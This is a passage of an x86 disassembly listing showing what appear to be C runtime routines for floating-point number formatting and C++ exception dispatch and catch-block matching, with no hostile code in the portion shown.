loc_41A0F9:				; CODE XREF: sub_41A016+D0j
		inc	ecx
		cmp	ebx, 0Ah
		jl	short loc_41A110
		mov	eax, ebx
		push	0Ah
		cdq
		pop	esi
		idiv	esi
		add	[ecx], al
		mov	eax, ebx
		cdq
		idiv	esi
		mov	ebx, edx

loc_41A110:				; CODE XREF: sub_41A016+E7j
		add	[ecx+1], bl

loc_41A113:				; CODE XREF: sub_41A016+BFj
		mov	eax, [ebp+arg_4]
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A016	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A11A	proc near		; CODE XREF: sub_41A2BA+13p
					; sub_41A2DD+1Ep

var_18		= qword	ptr -18h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		cmp	byte_469520, 0
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		push	edi
		jz	short loc_41A155
		mov	eax, dword_469524
		mov	ebx, [esp+10h+arg_8]
		mov	esi, dword_46951C
		cmp	eax, ebx
		jnz	short loc_41A185
		xor	ecx, ecx
		cmp	dword ptr [esi], 2Dh
		setz	cl
		add	ecx, eax
		add	ecx, ebp
		mov	eax, ecx
		mov	byte ptr [eax],	30h
		and	byte ptr [eax+1], 0
		jmp	short loc_41A185
; ---------------------------------------------------------------------------

loc_41A155:				; CODE XREF: sub_41A11A+Fj
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [eax]
		fstp	[esp+18h+var_18]
		call	sub_41DDDF
		mov	ebx, [esp+18h+arg_8]
		mov	esi, eax
		push	esi
		mov	eax, [esi+4]
		add	eax, ebx
		push	eax
		xor	eax, eax
		cmp	dword ptr [esi], 2Dh
		setz	al
		add	eax, ebp
		push	eax
		call	sub_41DD68
		add	esp, 14h

loc_41A185:				; CODE XREF: sub_41A11A+22j
					; sub_41A11A+39j
		cmp	dword ptr [esi], 2Dh
		mov	edi, ebp
		jnz	short loc_41A193
		mov	byte ptr [ebp+0], 2Dh
		lea	edi, [ebp+1]

loc_41A193:				; CODE XREF: sub_41A11A+70j
		mov	eax, [esi+4]
		test	eax, eax
		jg	short loc_41A1AA
		push	1
		push	edi
		call	sub_41A32E
		pop	ecx
		mov	byte ptr [edi],	30h
		pop	ecx
		inc	edi
		jmp	short loc_41A1AC
; ---------------------------------------------------------------------------

loc_41A1AA:				; CODE XREF: sub_41A11A+7Ej
		add	edi, eax

loc_41A1AC:				; CODE XREF: sub_41A11A+8Ej
		test	ebx, ebx
		jle	short loc_41A1F1
		push	1
		push	edi
		call	sub_41A32E
		mov	al, byte_437FA0
		pop	ecx
		mov	[edi], al
		mov	esi, [esi+4]
		inc	edi
		pop	ecx
		test	esi, esi
		jge	short loc_41A1F1
		cmp	byte_469520, 0
		jz	short loc_41A1D6
		neg	esi
		jmp	short loc_41A1DC
; ---------------------------------------------------------------------------

loc_41A1D6:				; CODE XREF: sub_41A11A+B6j
		neg	esi
		cmp	ebx, esi
		jl	short loc_41A1DE

loc_41A1DC:				; CODE XREF: sub_41A11A+BAj
		mov	ebx, esi

loc_41A1DE:				; CODE XREF: sub_41A11A+C0j
		push	ebx
		push	edi
		call	sub_41A32E
		push	ebx
		push	30h
		push	edi
		call	sub_415570
		add	esp, 14h

loc_41A1F1:				; CODE XREF: sub_41A11A+94j
					; sub_41A11A+ADj
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A1F8	proc near		; CODE XREF: sub_41A2DD+34p

var_14		= qword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	ecx
		push	ecx
		fld	qword ptr [edi]
		fstp	[esp+14h+var_14]
		call	sub_41DDDF
		mov	dword_46951C, eax
		mov	ecx, [eax+4]
		dec	ecx
		mov	ebx, [ebp+arg_8]
		mov	dword_469524, ecx
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		push	eax
		push	ebx
		setz	cl
		add	ecx, [ebp+arg_4]
		mov	esi, ecx
		push	esi
		call	sub_41DD68
		mov	eax, dword_46951C
		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	dword_469524, ecx
		setl	cl
		mov	byte_469528, cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	dword_469524, eax
		jl	short loc_41A27E
		cmp	eax, ebx
		jge	short loc_41A27E
		test	cl, cl
		jz	short loc_41A26F

loc_41A265:				; CODE XREF: sub_41A1F8+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_41A265
		and	[esi-2], al

loc_41A26F:				; CODE XREF: sub_41A1F8+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A2BA
		add	esp, 0Ch
		jmp	short loc_41A28E
; ---------------------------------------------------------------------------

loc_41A27E:				; CODE XREF: sub_41A1F8+63j
					; sub_41A1F8+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_41A293
		add	esp, 10h

loc_41A28E:				; CODE XREF: sub_41A1F8+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A1F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A293	proc near		; CODE XREF: sub_41A1F8+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	byte_469520, 1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A016
		and	byte_469520, 0
		add	esp, 10h
		retn
sub_41A293	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A2BA	proc near		; CODE XREF: sub_41A1F8+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	byte_469520, 1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41A11A
		and	byte_469520, 0
		add	esp, 0Ch
		retn
sub_41A2BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2DD	proc near		; DATA XREF: sub_415F53o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_41A318
		cmp	[ebp+arg_8], 45h
		jz	short loc_41A318
		cmp	[ebp+arg_8], 66h
		jnz	short loc_41A305
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A11A
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41A305:				; CODE XREF: sub_41A2DD+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A1F8
		jmp	short loc_41A329
; ---------------------------------------------------------------------------

loc_41A318:				; CODE XREF: sub_41A2DD+7j
					; sub_41A2DD+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A016

loc_41A329:				; CODE XREF: sub_41A2DD+39j
		add	esp, 10h
		pop	ebp
		retn
sub_41A2DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A32E	proc near		; CODE XREF: sub_41A016+2Cp
					; sub_41A11A+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_41A351
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_415CF0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_416490
		add	esp, 10h
		pop	esi

loc_41A351:				; CODE XREF: sub_41A32E+7j
		pop	edi
		retn
sub_41A32E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A353	proc near		; CODE XREF: .nsp0:00416134p
					; sub_41619D+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_41A369
		call	sub_41ABF2

loc_41A369:				; CODE XREF: sub_41A353+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_41A391
		cmp	dword ptr [esi+4], 0
		jz	short loc_41A3E7
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A3E7
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41A69A
		add	esp, 10h
		jmp	short loc_41A3E7
; ---------------------------------------------------------------------------

loc_41A391:				; CODE XREF: sub_41A353+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_41A3E7
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A3CB
		cmp	[eax+14h], edi
		jbe	short loc_41A3CB
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_41A3CB
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_41A3EA
; ---------------------------------------------------------------------------

loc_41A3CB:				; CODE XREF: sub_41A353+4Aj
					; sub_41A353+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_41A3EE
		add	esp, 20h

loc_41A3E7:				; CODE XREF: sub_41A353+23j
					; sub_41A353+29j ...
		push	1
		pop	eax

loc_41A3EA:				; CODE XREF: sub_41A353+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41A353	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A3EE	proc near		; CODE XREF: sub_41A353+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_41A40E
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_41A413

loc_41A40E:				; CODE XREF: sub_41A3EE+16j
		call	sub_41ABF2

loc_41A413:				; CODE XREF: sub_41A3EE+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_41A56A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A487
		cmp	[esi+14h], edi
		jnz	short loc_41A487
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A487
		mov	esi, dword_46952C
		test	esi, esi
		jz	loc_41A565
		mov	eax, dword_469530
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_41DF66
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A469
		call	sub_41ABF2

loc_41A469:				; CODE XREF: sub_41A3EE+74j
		cmp	[esi], ebx
		jnz	loc_41A56A
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_41A487
		cmp	[esi+14h], edi
		jnz	short loc_41A487
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_41A487
		call	sub_41ABF2

loc_41A487:				; CODE XREF: sub_41A3EE+41j
					; sub_41A3EE+46j ...
		cmp	[esi], ebx
		jnz	loc_41A56A
		cmp	dword ptr [esi+10h], 3
		jnz	loc_41A56A
		cmp	[esi+14h], edi
		jnz	loc_41A56A
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162EB
		add	esp, 14h
		mov	ebx, eax

loc_41A4BE:				; CODE XREF: sub_41A3EE+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_41A555
		cmp	[ebx], edi
		jg	short loc_41A54A
		cmp	edi, [ebx+4]
		jg	short loc_41A54A
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_41A547

loc_41A4E3:				; CODE XREF: sub_41A3EE+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_41A514

loc_41A4F5:				; CODE XREF: sub_41A3EE+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_41A63D
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41A523
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_41A4F5

loc_41A514:				; CODE XREF: sub_41A3EE+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_41A4E3
		jmp	short loc_41A547
; ---------------------------------------------------------------------------

loc_41A523:				; CODE XREF: sub_41A3EE+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A74E
		add	esp, 2Ch

loc_41A547:				; CODE XREF: sub_41A3EE+F3j
					; sub_41A3EE+133j
		mov	edi, [ebp+var_10]

loc_41A54A:				; CODE XREF: sub_41A3EE+DEj
					; sub_41A3EE+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_41A4BE
; ---------------------------------------------------------------------------

loc_41A555:				; CODE XREF: sub_41A3EE+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_41A565
		push	1
		push	esi
		call	sub_41AAC3
		pop	ecx
		pop	ecx

loc_41A565:				; CODE XREF: sub_41A3EE+56j
					; sub_41A3EE+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A56A:				; CODE XREF: sub_41A3EE+37j
					; sub_41A3EE+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_41A590
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_41A595
		add	esp, 20h
		jmp	short loc_41A565
; ---------------------------------------------------------------------------

loc_41A590:				; CODE XREF: sub_41A3EE+180j
		jmp	sub_41AB9C
sub_41A3EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A595	proc near		; CODE XREF: sub_41A3EE+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	dword_469534, 0
		push	esi
		push	edi
		jz	short loc_41A5C6
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4161C2
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41A639

loc_41A5C6:				; CODE XREF: sub_41A595+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_4162EB
		add	esp, 14h
		mov	esi, eax

loc_41A5E2:				; CODE XREF: sub_41A595+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41A639
		cmp	edi, [esi]
		jl	short loc_41A631
		cmp	edi, [esi+4]
		jg	short loc_41A631
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_41A60B
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_41A631

loc_41A60B:				; CODE XREF: sub_41A595+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A74E
		add	esp, 2Ch

loc_41A631:				; CODE XREF: sub_41A595+57j
					; sub_41A595+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_41A5E2
; ---------------------------------------------------------------------------

loc_41A639:				; CODE XREF: sub_41A595+2Fj
					; sub_41A595+53j
		pop	edi
		pop	esi
		leave
		retn
sub_41A595	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A63D	proc near		; CODE XREF: sub_41A3EE+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_41A694
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_41A694
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_41A66E
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A690

loc_41A66E:				; CODE XREF: sub_41A63D+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41A678
		test	byte ptr [edi],	8
		jz	short loc_41A690

loc_41A678:				; CODE XREF: sub_41A63D+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41A687
		test	byte ptr [edi],	1
		jz	short loc_41A690

loc_41A687:				; CODE XREF: sub_41A63D+43j
		test	al, 2
		jz	short loc_41A694
		test	byte ptr [edi],	2
		jnz	short loc_41A694

loc_41A690:				; CODE XREF: sub_41A63D+2Fj
					; sub_41A63D+39j ...
		xor	eax, eax
		jmp	short loc_41A697
; ---------------------------------------------------------------------------

loc_41A694:				; CODE XREF: sub_41A63D+Bj
					; sub_41A63D+14j ...
		push	1
		pop	eax

loc_41A697:				; CODE XREF: sub_41A63D+55j
		pop	edi
		pop	esi
		retn
sub_41A63D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A69A	proc near		; CODE XREF: sub_41A353+34p
					; sub_41A74E+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4217F8
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]

loc_41A6CC:				; CODE XREF: sub_41A69A+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_41A726
		cmp	esi, 0FFFFFFFFh
		jle	short loc_41A6DB
		cmp	esi, [edi+4]
		jl	short loc_41A6E0

loc_41A6DB:				; CODE XREF: sub_41A69A+3Aj
		call	sub_41ABF2

loc_41A6E0:				; CODE XREF: sub_41A69A+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_41A6FB
		push	103h
		push	ebx
		push	eax
		call	sub_41AB50

loc_41A6FB:				; CODE XREF: sub_41A69A+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41A71B
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41A738
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]

loc_41A71B:				; CODE XREF: sub_41A69A+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_41A6CC
; ---------------------------------------------------------------------------

loc_41A726:				; CODE XREF: sub_41A69A+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A69A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A738	proc near		; CODE XREF: sub_41A69A+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41A749
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41A749:				; CODE XREF: sub_41A738+Cj
		jmp	sub_41AB9C
sub_41A738	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A74E	proc near		; CODE XREF: sub_41A3EE+151p
					; sub_41A595+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_41A770
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8FF
		add	esp, 10h

loc_41A770:				; CODE XREF: sub_41A74E+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41A77C
		push	edi
		jmp	short loc_41A77F
; ---------------------------------------------------------------------------

loc_41A77C:				; CODE XREF: sub_41A74E+29j
		push	[ebp+arg_24]

loc_41A77F:				; CODE XREF: sub_41A74E+2Cj
		call	sub_4160C4
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41A69A
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41A7C9
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_41A7C4
		push	edi
		push	eax
		call	sub_416082

loc_41A7C4:				; CODE XREF: sub_41A74E+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A74E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7C9	proc near		; CODE XREF: sub_41A74E+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421808
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, dword_46952C
		mov	[ebp+var_1C], ecx
		mov	ecx, dword_469530
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	dword_46952C, edi
		mov	ecx, [ebp+arg_8]
		mov	dword_469530, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_416149
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_41A88F
		mov	eax, [ebp+var_2C]

loc_41A856:				; CODE XREF: sub_41A86F+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A7C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A865	proc near		; DATA XREF: .nsp0:00421818o
		push	dword ptr [ebp-14h]
		call	sub_41A8D5
		pop	ecx
		retn
sub_41A865	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A86F	proc near		; DATA XREF: .nsp0:0042181Co
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4163AA
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_41A856
sub_41A86F	endp

; ---------------------------------------------------------------------------

loc_41A887:				; DATA XREF: .nsp0:00421810o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_41A88F	proc near		; CODE XREF: sub_41A7C9+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	dword_46952C, eax
		mov	eax, [ebp-20h]
		mov	dword_469530, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_41A8D4
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_41A8D4
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_41A8D4
		cmp	[ebp-24h], ebx
		jnz	short locret_41A8D4
		cmp	[ebp-2Ch], ebx
		jz	short locret_41A8D4
		call	sub_416412
		push	eax
		push	edi
		call	sub_41AAC3
		pop	ecx
		pop	ecx

locret_41A8D4:				; CODE XREF: sub_41A88F+1Cj
					; sub_41A88F+22j ...
		retn
sub_41A88F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8D5	proc near		; CODE XREF: sub_41A865+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41A8FC
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41A8FC
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41A8FC
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_41A8FC
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_41A8FC:				; CODE XREF: sub_41A8D5+Cj
					; sub_41A8D5+12j ...
		xor	eax, eax
		retn
sub_41A8D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8FF	proc near		; CODE XREF: sub_41A74E+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421820
		push	offset sub_41CE08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41AAA8
		cmp	byte ptr [eax+8], 0
		jz	loc_41AAA8
		mov	eax, [ecx+8]
		test	eax, eax
